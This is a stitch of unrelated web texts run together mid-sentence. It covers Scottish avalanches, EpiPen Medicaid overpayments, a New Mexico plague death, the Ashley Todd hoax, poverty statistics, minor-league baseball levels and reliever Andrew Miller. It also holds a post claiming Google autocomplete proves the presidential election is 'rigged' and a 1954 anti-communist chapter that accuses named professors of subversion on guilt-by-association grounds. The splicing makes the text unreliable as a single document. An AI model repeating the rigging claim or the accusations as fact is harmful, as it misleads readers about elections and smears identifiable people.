"The conditions haven't been good this winter. There is no big route climbing going on."
Image copyright Andreas Heinzl/Unexplored Scotland Image caption A walker on a winter skills course amid falling snow in the Cairngorms
Image copyright Andreas Heinzl/Unexplored Scotland Image caption Snow holing at Ciste Mhearad in the Cairngorms
Image copyright SAIS Southern Cairngorms Image caption Dogs give scale to blocks of avalanche debris in the Southern Cairngorms
Image copyright SAIS Glencoe Image caption Avalanche debris in Glencoe
Image copyright Andreas Heinzl/Unexplored Scotland Image caption Walkers on a winter skills course in Coire na Ciste in the Cairngorms
Image copyright Andreas Heinzl/Unexplored Scotland Image caption Walker descending descending off Bidein a' Ghlas Thuill with large cornices on north east and east aspects
Mr Stevenson said there were plenty of safe areas for walkers to enjoy, but said they should check weather and avalanche risk forecasts before heading out and also make sure that they are well equipped for winter conditions.
The team leader said even highly experienced mountaineers could be caught out.
He said that during a call-out on Saturday two members of the Lochaber team fell through a cornice - an overhanging edge of snow - and another was caught in an avalanche. All three were unhurt.
Snow fact file Nevis Range ski resort had its busiest day for 10 years on 16 February when almost 1,700 skiers and snowboarders took to the slopes. The resort was not able to operate all of its lifts because some were still buried under unprecedented amounts of snow.
In January, the upper runs of three Scottish ski resorts - Glencoe Mountain, CairnGorm Mountain and Nevis Range - had more snow than those of Whistler in Canada, a venue for the last Winter Olympics.
Mr Stevenson said: "It always something we have to expect will happen, but I think this time the boys got a bit of a wake up call."
He added: "There have been some huge avalanches this winter. You can see them from the road."
The Sportscotland Avalanche Information Service (SAIS) has recorded 219 avalanches so far this season, 116 of them in the last month.
Last winter, the service recorded 129 avalanches.
SAIS forecasters and winter skills instructors including Andreas Heinzl have been photographing the conditions this winter in areas such as the Cairngorms, Glencoe and Torridon.File photo: EpiPen auto-injection epinephrine pens manufactured by Mylan NV pharmaceutical company for use by severe allergy sufferers are seen in Washington, U.S. August 24, 2016. REUTERS/Jim Bourg/File Photo
NEW YORK (Reuters) - The U.S. government may have overpaid drugmaker Mylan N.V. by as much as $1.27 billion between 2006 and 2016 for its EpiPen emergency allergy treatment, the Department of Health and Human Services said on Wednesday.
The amount is nearly three times a proposed settlement that the company announced in October.
The analysis on the EpiPen payments, which was conducted by the Department of Health and Human Services’ Office of Inspector General, was released by Republican Senator Chuck Grassley.
“Mylan and the Obama Administration reportedly were close to settling the overpayment for much less than $1.27 billion,” Grassley said in a statement. “Taxpayers have a right to know what happened here and to be repaid whatever they are owed.”
Grassley is the chairman of the Senate Judiciary Committee, which launched a probe of EpiPen pricing last year.
A Mylan spokesperson said the drugmaker continues to work with the government to finalize the settlement as soon as possible.
The company, which was already under fire for steep price increases on the devices, said in October it agreed to settle with the U.S. government for $465 million after it was accused of improperly classifying EpiPen with the Medicaid Drug Rebate Program as a generic treatment. Mylan did not admit any wronging.
Drugmakers pay a rebate of 13 percent to state Medicaid programs on sales of generics, rather than the minimum rebate of 23.1 percent on branded drugs.
Mylan shares closed down 1 percent, or 38 cents, at $38.98 on the Nasdaq on Wednesday.Are you having Trouble Finding the Page you are looking for? Feel free to contact us or use our A to Z page to find an alphabetical list of pages and services available on this site.
David Morgan
575-528-5197 Office
575-649-0754 Mobile 575-528-5197 Office575-649-0754 Mobile
Plague Likely Cause of Death of Santa Fe County Woman
The New Mexico Department of Health ( NMDOH ) is investigating a probable case of plague in a 52-year-old woman from Santa Fe County who died of her illness. Confirmatory testing is being conducted at the NMDOH Scientific Laboratory Division. This would be the first human case of plague in New Mexico this year. An environmental investigation will take place at the woman’s home to look for ongoing risk to others in the surrounding area.
“Department of Health staff will go door-to-door to neighbors near the case to inform them about plague found in the area and educate them on reducing their risk,” said Department of Health Secretary Retta Ward, MPH. “Because the patient had pneumonia, health care providers and other close contacts of the patient who have been determined to have been exposed are taking preventive antibiotic therapy.”
Plague is a bacterial disease of rodents and is generally transmitted to humans through the bites of infected fleas, but it can also be transmitted by direct contact with infected animals, including rodents, wildlife and pets.
Plague cases can occur at any time of the year in New Mexico, but most cases occur during the summer months. It is especially important now given the warm temperatures to take precautions to avoid rodents and their fleas which can expose people to plague. Pets that are allowed to roam and hunt can bring infected fleas from dead rodents back into the home, putting household members at risk.
To prevent plague, the Department of Health recommends:
Avoid sick or dead rodents and rabbits, and their nests and burrows.
Keep your pets from roaming and hunting.
Talk to your veterinarian about using an appropriate flea control product on your pets as not all products are safe for cats, dogs, or your children.
Clean up areas near the house where rodents could live, such as woodpiles, brush piles, junk and abandoned vehicles.
Sick pets should be examined promptly by a veterinarian.
See your doctor about any unexplained illness involving a sudden and severe fever.
Put hay, wood, and compost piles as far as possible from your home.
Don’t leave your pet’s food and water where mice can get to it.
Symptoms of plague in humans include sudden onset of fever, chills, headache, and weakness. In most cases there is a painful swelling of the lymph node in the groin, armpit or neck areas. Rarely, plague infection can also cause pneumonia.
Plague symptoms in cats and dogs are fever, lethargy and loss of appetite. There may be a swelling in the lymph node under the jaw. With prompt diagnosis and appropriate antibiotic treatment, the fatality rate in people and pets can be greatly reduced. Physicians who suspect plague should promptly report to NMDOH.
In New Mexico, there were two human plague cases in 2014, four human plague cases in 2013 with one fatality, one human plague case in 2012, two human cases of plague in 2011, and no cases in 2010.
For more information, including fact sheets in English and Spanish, go to the Plague section of our website.
Media Contact
We would be happy to provide additional information about this press release. Simply contact David Morgan at 575-528-5197 (Office) or 575-649-0754 (Mobile) with your questions.
Versión en Español
En un esfuerzo para hacer que nuestros comunicados de prensa sean más accesibles, también tenemos disponibles una versión en español. Por favor presione el enlace de abajo para acceder a la traducción.
Peste es la Causa Probable de la Muerte de una Mujer en el Condado de SantaYou know how Google suggests searches for you, when you start typing a few letters?
Well, look what it does when you ask Google about the U.S. presidential election:
Start typing the words “how can you vote for.”
When you get to "how can you vo,” it suggests “volunteer in a hospital,” “vote”, then “vote for Hillary Clinton” is the third suggestion.
When you type “how can you vote” and a space after it, Hillary Clinton is the top suggestion.
(The fourth autocomplete suggestion is “without an ID"!)
WATCH what happens, though, if you type in “How do you vote for Donald Trump”…
The mainstream media says anyone who claims this election is rigged is just buying into a conspiracy theory. Really? Take 60 seconds and go to Google and try typing in "how can you vote for” and see for yourself. It’s rigged.
That’s not a conspiracy theory. That’s a conspiracy fact.
NOTE: If you're trying this at home, make sure to clear your browser cookies first, or use an "incognito" or private browser setting.It had drawn wide local and national -- even political attention, with the McCain and Obama campaigns weighing in -- but now the Ashley Todd story has fallen apart. Police in Pittsburgh have now declared the tale a hoax and the woman, who has confessed, now faces charges for her deed.
Earlier today, John Moody, executive vice president at Fox News, commented on his blog there that "this incident could become a watershed event in the 11 days before the election. If Ms. Todd's allegations are proven accurate, some voters may revisit their support for Senator Obama, not because they are racists (with due respect to Rep. John Murtha), but because they suddenly feel they do not know enough about the Democratic nominee.
"If the incident turns out to be a hoax, Senator McCain's quest for the presidency is over, forever linked to race-baiting."
He titled his posting: "Moment of Truth." Indeed.
It started yesterday afternoon with Matt Drudge screaming at the top of his site this afternoon in red type -- but no siren -- that a Pittsburgh campaign worker for McCain, age 20, had been viciously attacked and the letter "B" carved into her face, presumably by a Barack Obama fan. Her name, it soon emerged, was Ashley Todd and she had come to Pittsburgh from College Station, Texas, to help out.
It started to appear overblown (Drudge downgraded it to smaller, black type) as the police noted that it seemed to be a robbery ($60) and she did not seek medical attention. But later press reports said she would visit a hospital, Sarah Palin and maybe John McCain had reportedly called her and Obama has condemned the alleged assault, although McCain/Obama angle to story not yet confirmed.
Still later, conservative columnist Michelle Malkin, and some others, grew skeptical. For one thing, the "B" was carved a little too lightly and perfectly -- and backward, as if done using a mirror. Smoking Gun probed a too-pat "Twitter" angle and Gawker and Wonkette looked at her MySpace page.
Now police say that evidence from the ATM that she reportedly visited did not match her account. And it turns out she changed her story, admitting that her assailant did not see a McCain bumper sticker and adding to her account a sexual assault and losing consciousness. Liberal bloggers poked all sorts of holes in the story, including the fact that the attack allegedly took place in a very public place. Drudge added a link titled "B...or B.S."?Nearly 50 Million Americans In Poverty, Worst Since LBJ – Big Government
Even as the Obama White House prepares for a star-studded White House concert featuring Queen Latifah, Cyndi Lauper, and Justin Timberlake, figures from the U.S. Census Bureau reveal that roughly 50 million Americans – one in six – now live below the poverty line.
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…………………
Additionally, one in five American children have fallen below the poverty line; the last time poverty levels were this high, Lyndon Baines Johnson was president.
“In the last three years, there’s been a great change in the kinds of people we are serving,” said Director of Community Services at Catholic Charities of Baltimore Mary Anne O’Donnell. “There are increasing numbers of people who owned a home, lost their jobs, end up living in their car and are coming with children to our soup kitchen.”
The U.S. government defines a family of four earning under $23,021 as living in poverty. Income used to compute poverty status does not include non-cash benefits, such as food stamps and housing subsidies.
Welfare program enrollments have exploded under President Barack Obama. Americans on food stamps now outnumber the combined populations of 24 U.S. states, costing taxpayers more than double the amount spent on food stamps five years ago. In January 2009, 31.9 million Americans received food stamps. Today, that figure is 47.79 million.
The Obama Administration’s shift to looser eligibility requirements and lax oversight enforcement has also created what the Wall Street Journal dubbed a “food stamp crime wave.”
Also benefiting from the rapid rise in food stamps are companies like JP Morgan – which donated $808,799 to Obama’s 2008 campaign – who administer Electronic Benefit Transfer (EBT) cards. A recent report by the Government Accountability Institute found that since 2004, JP Morgan’s 24 state EBT contracts have totaled at least $560,492,596.02.
Other government programs, such as the disability program, have now morphed into proxy forms of welfare. A recent National Public Radio (NPR) investigation revealed that 14 million Americans now receive disability checks each month, costing taxpayers $260 billion annually. The report chronicled the rise of the “disability industrial complex,” a program fraught with fraud and abuse. In Hale County, Alabama, for example, one in four residents are now on disability.
Still, Obama promises that jobs and opportunity are on the way. “We’re going to fix our economy,” said Obama last week in Miami, Florida. “We’re going to fix our immigration system, we are going to make sure that our young people are getting a great education, we’re going to prevent them from being victims of gun violence, and we are going to make sure that everybody in this country has a fair shot and is doing their fair share.”
Click HERE For Rest Of Story
.The Techniques of Communism:
INVADING EDUCATION
CHAPTER X: 208-248 (1954)
by Louis F. Budenz
IN UNDERMINING a nation such as the United States, the infiltration of the educational process is of prime importance. The Communists have accordingly made the invasion of schools and colleges one of the major considerations in their psychological warfare designed to control the American mind. By such "cultural" work, the Soviet fifth column obtains an influence, directly or indirectly, over at least a portion of American youth. Some of the young men entering our armed forces, and some of the young women who must support them, are brought within the orbit of pro-Communist thinking, to the detriment of our national security. Future community leaders are also affected. Many by-products beneficial to the conspiracy arise from this infiltration, since concealed Communists in education or their friends become sponsors of Communist fronts, aid in financing Communist causes, and sometimes play a part in influencing the attitudes of certain scientists, specific church circles, and government agencies.
As early as 1924, in lectures delivered at the Sverdlov University in Moscow, Stalin specified "cultural and educational organizations" as valuable allies in the Communist battle for world dictatorship. These Stalin lectures are now the famous Foundations of Leninism, published and studied widely by the Communists. It was in 1933, however, that extensive infiltration began in the schools and colleges of this country-encouraged by American recognition of Soviet Russia, and stimulated by the Open Letter to the Party. The Trojan horse policy of the People's Front, which had been initiated at the Seventh World Congress of the Communist International in 1935, gave added impetus to this activity. By May, 1937, the conspiracy considered that enough progress had been made in the schools and colleges to justify a special article of directives in that month's issue of The Communist, then the official theoretical organ of the Party. This article, "The Schools and the People's Front," laid it down as a necessity that "Marxist-Leninist analysis must be injected into every class." In order that this might be accomplished successfully, "the Party must take careful steps to see that all teacher comrades are given thorough education in the teachings of Marxism-Leninism." It was stressed that "Communist teachers are faced with a tremendous social responsibility." They must affect the children's thinking, and they must mobilize other teachers. But all of this was to be done from the work in the classroom to the agitation among other teachers"without exposing themselves." (Italics mine).
This is the instruction which runs through all directives to the infiltrators of our schools and colleges: they must exercise their Communist influence "without exposing themselves." In this very article of May, 1937, an added precaution is given "Only when teachers have really mastered Marxism-Leninism will they be able to inject it into their teaching at the least risk of exposure."
The article by John Williamson in the November, 1950, issue of Political Affairs, dealing with general infiltration but referring specifically to trade union work, makes much of the same necessity. The Red infiltrators are there counseled to perform their task in such a way as not to be "exposed" and dislodged from their positions.
This method must be thoroughly understood. If it is not constantly kept in mind, the Red techniques of entering education and influencing its course will be completely missed. Those who contend that Communists should be permitted to teach in our schools "as long as they do not teach Communism openly in the classroom" have not acquainted themselves with the ABC of Red infiltration. And yet, the late Senator Robert A. Taft of Ohio, who represented a considerable section of conservative opinion, has made this grave error.
In the classroom, the Communist teacher or professor very rarely, if ever, teaches Marxism-Leninism openly. There are hundreds of indirect ways of reaching the same end. Books by Howard Fast, the author who has refused to state whether or not he would fight against Communists if drafted, are proposed as suggested or recommended readings. The works and statements of many other "authorities" who invariably take a pro-Soviet position, such as Professor Frederick L. Schuman of Williams College, can be freely used. The Red instructor has many other "non-Communist" sources to draw on-those leading figures in public life who always follow the Communist line and whom Stalin has designated as the "reserves" the conspiracy should call upon. An entire syllabus which would inevitably lead a student either to embrace Marxism-Leninism or to be sympathetic to the Communist line, can be drawn up without one notably or openly Stalinite reference in it.
Building on that foundation, the Communist teacher or professor notes the pupil or student most susceptible to pro-Red ideas. This student is cultivated privately, with a view to drawing him toward the conspiracy. In like. manner, colleagues on the faculty who indicate sympathy for pro-Communist ideas are influenced by personal association to join the Communist Party. The influence of the teacher who is committed to Marxism-Leninism goes far beyond these con tact into parent-teachers associations (often working behind the scenes with Communists in those groups), in the preparation of books, the presentation of lectures, the voicing of opinions, the raising of finances for the conspiracy.
Anyone who doubts the widespread character of Communist infiltration into education needs only to consult the Congressional investigations over the years. Specifically, the report of the House Committee on Un-American Activities of April 1, 1951, is most helpful. Entitled The Communist "Peace" Offensive: The Attempt to Disarm, and Defeat America, it cites scores of educators who have aided the Kremlin's peace partisans. Many of these have been sponsors or members of Communist fronts on a great number of occasions. Robert Morss Lovett, long with the University of Chicago and former American Governor of the Virgin Islands, is there cited as being a member of at least eighty-five Communist fronts. Dr. Harry F. Ward, Professor Emeritus of Christian Ethics at Union Theological Seminary, is reported to be a member of sixty Communist fronts. The late Dr. Walter Rautenstrauch, well-known professor of engineering at Columbia University, is reported to be affiliated with fifty Communist fronts. Dr. Henry Pratt Fairchild of New York University has been associated with forty of such organizations; Colston E. Warne of Amherst and Frederick L. Schuman of Williams College, with thirty, and that is the record also of Dr. Robert S. Lynd of Columbia.
Each student should examine this report carefully, since it gives an indication of the scale on which the peace partisans (so valuable to the Kremlin) have penetrated our educational institutions. Dr. J. B. Matthews, after careful examination of the records, declares that since 1935 "the Communist Party has enlisted the support of at least thirty-five hundred professorsmany of them as dues paying members, many others as fellow travelers, some as out-and-out espionage agents, some as adherents of the Party line in varying degrees, and some as the unwitting dupes of subversion." (American Mercury, May, 1953, "Communism and the Colleges," by J. B. Matthews.)
Look for the Record In the fall of 1952, there appeared before the Internal Sub-Committee on Internal Security a number of professors who refused to state under oath whether they were members of the Communist conspiracy (or in some cases espionage agents) on the grounds that their answers would tend to incriminate them. Among these were: Dr. Bernhard J. Stern, sociologist, Columbia University; Dr. Bernard F. Riess, psychologist, Hunter College; Drs. Moses Finley and Saul Heimlich, then of Rutgers University; Dr. Clarence A. Hiskey, Brooklyn Polytechnic Institute, and Dr. Gene Weltfish, Columbia University. These are a few of those who took this attitude. What we should note about them is not only the leading educational institutions to which they were attached for years, but also that their records have been known for a long period of time. There are bulky dossiers in the reports of the Congressional committees, dealing with these individuals time after time. Their constant sponsorship of subversive organizations forwarding the Communist line has been cited on innumerable occasions.
When they refused to testify as to their Stalinite affiliations or espionage activities, they merely confirmed what had been known all along from their performance in the past. This should be sharply noted, for it is what can be observed in scores of other cases. So far as the American public is concerned, therefore, it is the record of the teacher or professor in aiding Communist fronts and other aspects of the conspiracy that should count, and not an attempted proof of membership in the Communist Party. Since 1948 and 1949 (the arrangement being made over a period of time) no Communist has had any vestige of membership. It was the same during the Hitler-Stalin Pact period. George Blake Charney, State secretary of the Communist Party for New York, confirmed this arrangement under oath, in his testimony in 1953 before the New York Board of Regents. Charney then stated that there was no record of any individual Communist Party membership, that the members were now known only as numbers. This conforms with the explanation presented by John Lautner, former head of the State Control Commission of the New York Communist Party, before the Senate Sub-Committee on Internal Security on October 13, 1952. Lautner showed in detail how the Communist teachers were divided into small groups, as they were organized for underground Party work. (Report in the volume of Subversive Influences in the Educational Process which covers the hearings from Sept. 8 to Oct. 13, 1952.)
Even before 1948, and through most of the history of the conspiracy in this country, those individuals who joined the Communist Party when they were already in key or delicate positions were ordered by the Party not to have any trace of membership, and not to attend any branch meetings. This rule applied specifically to certain professors who either were conspicuous because of being alleged authorities in subjects affecting government, or held governmental posts. It is important to recognize at once, then, that by and large it is impossible today to prove that any teacher or professor is a member of the conspiracy. Courts and Congressional inquiries have an obligation to seek for evidence of such membership. But for the American public and community leaders, the question that should be raised is: Does the record of this teacher or professor disclose constant aid to the Soviet dictatorship and the Soviet fifth column in this country?
That this should be the test is illustrated by the responses of Dr. Bernard J. Stern of Columbia University before the Sub-Committee on Internal Security. Stern denied that he was a Communist on the day of his appearance before the Sub-Committee. He also denied that he was a Communist the year before. But he refused to answer, on the grounds that it would tend to incriminate him, the question whether he had been a member of the Party several years before. There is only one explanation for such a stand, namely, that in the period about which he refuses to answer the Party had not yet gone underground. Ex-Communists like Bella Dodd might be available to prove his membership then, and also some record of his affiliation might have been produced. A perjury conviction would have followed, and it was clearly to avoid this that Stern took his peculiar position.
Stern's record of active participation in Communist causes goes back before the big infiltration of 1933. As early as 1931, he was a member of the early Communist fronts. In the spring of 1932, he met with a select group, called together by the veteran Communist, A. A. Heller, to institute the Red-created "Congress Against War," out of which grew the first big front organization, the American League Against War and Fascism. In all, up to 1951, he was a member or sponsor of forty Communist fronts.
Under the name of Bennett Stevens, he taught at the Workers School, and under the same name he wrote Marxist-Leninist books. At the time of his appearance on the witness stand in 1952, he was editor of the Stalinite organ Science and Society, a quarterly publication for intellectuals. Stern's record of consistent aid to the conspiracy over twenty years makes it unnecessary to prove legally that he is a Communist. He has done everything that a Communist would do. (For Stern's record in full, see The Red Decade, Eugene Lyons, 1941. Numerous reports of the House Committee on Un-American Activities, including specifically that of April 1, 1951. Counterattack, vol. VII, no.14, April 3, 1953. These publications should also be consulted on the pro-Communist activities of other teachers and professors).
PragmatismAid To Infiltration The Communists have had a number of advantages in the penetration of schools and colleges. Outstanding among these is the philosophy of pragmatism, as enunciated by Dr. John Dewey, which dominates the present educational process. Pragmatism is not a Communist philosophy, but it serves as a convenient cover under which the Reds may operate and also under which they may win many allies in the educational field.
The philosophy of pragmatism rejects the supernatural and declares there is no absolute good or absolute truth, and that morality is growth and growth is morality. The Communists believe that there is an absolute truth, Marxism-Leninism. But with Stalin, they can pick up where the pragmatists leave off, asserting that that which is new and developing is right moral, and that which is dying and decaying is wrong and immoral. And of course, the rising and developing force today (as the Communists emphasize) is Soviet Communism itself. The Soviet dictatorship, from this viewpoint, represents the highest morality-no matter what crimes it commits, what slavery it establishes, and what terror it institutes (See Chap IV of the History of the Communist Party of the Soviet Union Joseph V. Stalin).
This conception, that everything new is right, flies in the face of history, which has witnessed many retrogressions and which has registered many setbacks for mankind by those who had the power, and were rising and developing The concealed Communist can utilize this meeting ground with pragmatism as a means to pose as a non-Communist, to widen the circle of his influence, and to implant himself in school or college From pragmatism (or instrumentalism, to give a more precise title to Dewey's version), there flowed progressive education First proposed by Dewey forty years ago, progressive education became centered in Teachers College, Columbia University and from there reached out to change and color the entire method of teaching from nursery school to university Progressive education has been an attempt to get away from formal methods of teaching, and to depend on spontaneous activities brought about by group discussions The child is to be freed of discipline, and the program is to be initiated by the student rather than the teacher. Competition and rewards are to be eliminated, and the character of the pupil's work is not to be a major consideration. The theory is that in this manner the child's abilities will be released. In practice, the result has been on the whole confusion and chaos.
Of the sharp criticisms of progressive education, as it is administered, one of the most cogent is "Common Sense in the Classroom" by Marguerite Gretzinger, English teacher in Pershing High School, Detroit. In the Michigan Education Journal of 1950, Miss Gretzinger writes John Dewey pragmatism has confused the entire teaching profession from the college professors to the textbook writers, the boards of education, the school administrators, and the classroom teacher. None of us is sure of anything. The old methods have been declared authoritarian; the new methods have been preached about, but no one has demonstrated a working plan which anyone, except an angel, could administer. The results are disastrous." (Miss Gretzinger's full experiences, and her analysis of the chaos resulting from progressive education, were reprinted in The Wanderer, 112 E. 10th St, St. Paul, Oct. 30, 1952).
The Soviet dictatorship would not permit progressive education within any of its schools or colleges. It requires a supermilitary discipline, based on blind acceptance of Marxism-Leninism, beginning in the kindergarten. Such has been the rule for educational standards both in Soviet Russia and under all the satellite regimes. But in the United States, the Soviet fifth column favors this "new education" because of the general confusion, chaos, and breakdown in morale which it can bring about. Dr. Bella Dodd, in her testimony before the Senate Sub-Committee on Internal Security, stated that the Communists constantly plugged progressive education, inspiring and instructing the Teachers Union to do the same. A book praised by the Daily Worker and written by a man in close association with that Red organ has taken a similar position. This work, widely hailed by the Communists, is The Public School Scandal, by Earl Conrad, New York, 1951.
The apparent contradiction in this stand has a logic of its own. It is paralleled by the Red outcry for an extreme interpretation of "bourgeois civil liberties"amounting to anarchyin non-Soviet countries, while defending the degradation of terror and slavery in the Soviet domains. Chaos and confusion are what the Communists seek in every non-Soviet nation, to make its conquest easier; this was the prescription long ago insisted upon by Lenin and then by Stalin. The Stalinite teacher also sees in the loose methods of progressive education a rare opportunity to advance pro-Communist thinking. Being definitely under instructions and having a specific goal, he can so arrange the group discussions and "social study projects" as to bring about conclusions helpful to the Communist line.
The Two Streams These two streams-the pragmatic philosophy, initiating progressive education, and Communist infiltration-have moved along together. Distinct from each other, they nevertheless have frequently fused, and the Communists have taken full advantage of the opportunities which the pragmatic viewpoint and practices offered them.
The two tendencies-one favoring Dr. Dewey's teachings, the other sharply pro-Soviet-were originally combined in the person of Dr. George S. Counts of Teachers College, Columbia University. In the early thirties, Dr. Counts wrote several books highly laudatory of the Soviet dictatorship, and indicating that it had introduced a new era. At the same time, he was an outstanding figure in the Progressive Education Association, and author of the book Dare the Schools Build a New Social Order? which attained great popularity in progressive education circles. In this work, as its title indicates, Counts proclaimed the doom of the present social order, a doom that should be forwarded by the schools. He declared: "That the teachers should deliberately reach for power and then make the most of their conquest is my firm conviction. To the extent that they are permitted to fashion the curriculum and procedures of the school, they will influence the social ideals and behavior of the coming generation." This influence was to bear in the direction of bringing about collectivism.
A good illustration of how the thinking of the pragmatists about "building a new social order" could be shot through with pro-Communist purposes was given in the panel discussion in 1933 among the leaders of progressive education. Participants in this panel were, among others, Dr. William H. Kilpatrick, upon whom Dewey's mantle has fallen; Dr. Jesse H. Newlon of the New Lincoln School, Teachers College; Dr. Harold Rugg, author of the allegedly "collectivist" textbooks; and Dr. Goodwin Watson, psychologist, of the staff of Teachers College. There was much discussion back and forth on how the schools could overturn the present social order. Dr. Watson gave the answer. It was, he said, by linking the schools up "with socialist or communist agitators." And that is precisely what happened to a serious degree. The "agitators" to whom Dr. Watson referred were not soap boxers nor the picket line variety of Communist; they were the infiltrators, ordered that very year by the Open Letter to the Party to penetrate the school system.
Dr. Watson's thinking was in accord with his record of membership on numerous Communist fronts, including the vice-chairmanship of the committee on the Peekskill riots, which presented a distorted picture of the events, favorable to Howard |
who never panned out and has made a career out of being in Triple-A.
What prospects like Cole, or Oscar Taveras, who is at Triple-A Memphis with the Cardinals, experience in Triple-A is facing competition that has a plan. A large number of the players in Triple-A have major league experience under their belt, and a large number of those who don’t are older and have been in the minors for a long time. Cole and Taveras may be more talented than their opponents, but they are facing players who have a better idea of what to do with what talent they have. It’s a valuable learning experience for young players.
Double-A: The entrance to the “upper minors,” the jump to Double-A tends to be the most difficult for prospects, and tells us the most about them.
The Double-A level is where hitters and pitchers begin to have a plan. This is where pitchers can’t get by without a decent off-speed pitch and the hitters who can’t hit them are exposed. The competition is good, as evidenced by the fact that we see players jump from Double-A to the majors with relative frequency. Each organization has its own philosophy on doing so, but it does happen often because of the advanced level of competition. There aren’t as many players in Double-A with major league experience as there are in Triple-A, but one could argue that the pure talent level is actually higher because players are heading in an upward direction as opposed to the stagnation that tends to take place with some Triple-A players.
High-A vs. Low-A: Why are there two levels of A-ball and what are the difference? I won’t even pretend to know why they are labeled the way they are instead of there being four “A” levels, but there are differences between the two Single-A levels.
A-ball is the first real step into the world of professional baseball for most players. Yes, many of them spend time in short-season or rookie leagues first (I’ll get to them in a second), but a player doesn’t get a true feel for the world of professional baseball until he plays in a full-season league and experiences the grind of a five-month, 140-plus game season. Players drafted straight out of high school who jump straight to a full-season league (usually only first-rounders and other high draft picks), typically head to Low-A ball while college players sometimes jump straight to High-A ball.
The Streaks: Drysdale and Hershiser in Parallel by Shane Tourtellotte Two consecutive scoreless innings pitched streaks bound two hurlers together in history.
Back in my college coaching days, I worked for a head coach who had been drafted and played a few years in the minors before returning to coaching. He once told me that he had more success in the more advanced levels than he did early on. The reason was that, in the lower minors, he faced pitchers with electric arms with no control or off-speed pitches to speak of, but who could reach the upper-90s or triple-digits. As he advanced, the pitchers were better and had a better plan, but he wasn’t blown away as often with ridiculous fastballs. His career ended likely because he lacked the bat speed to hit pitchers who can do both (major league pitchers), but his theory is valid.
Arms slow down over time. Arms in the low-minors are younger. Therefore, arms in the low minors have the ability to throw harder. Those pitchers can’t usually do much else yet, but they can throw hard.
Short-season and Rookie level: Not everyone is prepared to make his professional debut in full-season ball. Some high draft picks are up for the challenge, especially if they come from a top college program, but many players being selected right out of high school aren’t ready to take on competition two or three years older than them. That’s what the short-season and rookie leagues are there for.
These leagues begin after the draft, in late June. The are filled primarily with recent draft picks as a way to transition into professional baseball with other players in similar situations. Some players are there for only a few weeks before proving that they are ready for more advanced competition. Others need a few months or even a year or two to get acclimated.
Not all short-season and rookie leagues are the same, however. For instance leagues like the New York-Penn, Northwest or Pioneer involve travel, minor league stadiums, and all of the rigors that come with the lifestyle of professional baseball. These are the more advanced short-season leagues. In addition to acclimating a player to professional competition, they help him transition into the lifestyle of a professional ballplayer. The travel isn’t as rigorous as in, say, the South Atlantic League, but it still a transition, especially for players coming from high school baseball.
There are also short-season leagues that take place on the team’s spring training complexes. These are technically classified as rookie ball, and the ones you’ve heard of are the Gulf Coast League and the Arizona Rookie League. The games are played on back fields and there are no crowds, save for a few girlfriends and scouts. There are more players then fans. This is typically the first stop stateside for international free agents and for lower-level draft picks.
International signees, because they tend to sign before they are even 18, typically stay in one of the rookie leagues in their own countries, either the Dominican or Venezuelan Summer League. After a year or two there, they typically make their way stateside and join one of the other short-season leagues.
As you can see, each league offers a different talent level and a different experience for the minor league player. Most players take them level-by-level, but occasionally, skipping one makes the most sense. Still, there is a noticeable divide between the upper and lower levels of the minor leagues.
Each level serves its purpose in the development of young players. Each player takes each level at his own pace, but few skip over them completely. So when asking about a particular player and when he may be coming to the majors, keep in mind just how far away he really is from appearing on your TV.
And remember, the more As, the better.As the Blue Jays take the field in Toronto tonight, they’ll find themselves down two games to none in the ALCS, with Game 3 representing as close to a must-win game as you can get without actually facing elimination. Teams have come back from down 3-0 before, of course, so the Blue Jays aren’t definitively done if they can’t figure out how to win on Monday night, but having to win four straight games against any good team is a massive challenge. And the idea of winning four straight against Andrew Miller’s team seems downright impossible, because right now, Andrew Miller is basically the walking embodiment of the perfect relief pitcher.
Miller’s numbers in the ALCS are just silliness. In the first two games in Cleveland, the Indians asked Miller to face 12 Blue Jays hitters, and two of them put the ball in play. Ezequiel Carrera had the second best outcome against Miller when he grounded out to second base on Saturday. Josh Donaldson is the only Toronto hitter to reach base, which he did on a single up the middle on Friday night. And even that seems like kind of a miracle.
In the first two games, Miller has thrown 55 pitches, 31 of which have been sliders. The Jays have swung at 16 of his sliders; they have swung and missed on 12 times. Three of the four swings at Miller’s slider that haven’t been whiffs? Those were fouls. On 16 occasions now, the Blue Jays have chased Miller’s slider, and only once (Donaldson’s single) did it lead to anything besides a strike on the hitter. Of the 15 at which they didn’t swing, only five were called balls, so taking the pitch wasn’t exactly a winning strategy either. The Blue Jays haven’t been able to even come close to hitting Andrew Miller’s slider, and like a wise man, he just keeps throwing it.
Two dominant games do not an elite player make, but Miller has quietly been the best reliever in baseball for a while now. While Aroldis Chapman throws the hardest, Zach Britton will get the most Cy Young votes, and Kenley Jansen has been consistently incredible for the Dodgers, no reliever in baseball has been as dominant as Miller over the last three years.
Going back to the start of the 2014 season, here are what batters have done against Miller in the regular season.
Andrew Miller, 2014-2016, Regular Season Innings BA OBP SLG wOBA 198.1 0.153 0.219 0.256 0.212
Those are hilarious numbers, but they actually pale in comparison to what Miller has done to opposing hitters in the postseason. He’s pitched in the playoffs each of the last three years — granted, only one inning in the Wild Card game in 2015 — and his postseason numbers make his regular-season numbers look like a slump.
Andrew Miller, 2014-2016, Postseason Innings BA OBP SLG wOBA 16 0.080 0.145 0.120 0.131
The 55 batters who have faced Miller in the postseason have a combined wOBA 16 points lower than what pitchers have put up, while batting, during the same timeframe. And keep in mind that Miller is being used against the best hitters on the opposing teams, and those are the guys he’s turning into the equivalent of a bad-hitting pitcher at the plate. That is nothing short of remarkable.
When you fold Miller’s postseason numbers into his 2014-2016 performance line, you find that hitters have put up just a.207 wOBA against him over the last three years, over 818 batters faced. That’s the kind of wOBA you see from guys like Erik Kratz, the veteran backup catcher who bounced around the league and got 230 PAs over the 2014-2016 seasons. That’s the average performance of the guys who have faced Miller over the last three years, now spanning a total approaching 1,000 plate appearances. While being selectively used to only face the other team’s best hitters.
A couple of years ago, Wade Davis was at this level. He held batters to a.196 wOBA in 2014 and a.202 wOBA in 2015, though he did it more with weak contact than Miller’s no-contact approach. But remember back to 2014, when Davis was free to pitch the middle innings while Greg Holland racked up the saves in the ninth inning, and that seemed like the absolutely perfect October bullpen? In 12 games pitched during that playoff run, Davis faced six batters twice and seven batters once, in the seventh game of the World Series. He never faced eight batters in a game during that run.
During the first four game the Indians have played in the postseason, Miller has already faced eight batters twice, and then faced six more in his other two outings. Miller is matching peak-Davis’ dominance while extending the workload to levels that other pitchers who have gotten to this level just haven’t matched.
